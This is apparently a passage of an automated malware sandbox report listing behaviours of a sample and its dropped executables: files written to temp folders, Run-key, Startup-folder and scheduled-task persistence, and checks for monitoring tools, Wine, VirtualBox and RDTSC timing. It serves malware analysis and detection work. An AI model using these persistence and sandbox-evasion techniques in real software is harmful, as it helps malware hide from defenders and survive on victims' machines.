Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Unit	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Rocky	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\fMb18eF[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Unit			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Rocky			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 04dc07bf76.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3907f97605.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c7f41aa061.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ee5495637.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3907f97605.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3907f97605.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ee5495637.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3ee5495637.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 04dc07bf76.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 04dc07bf76.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c7f41aa061.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c7f41aa061.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F167 second address: 10F185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F625CDF2468h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
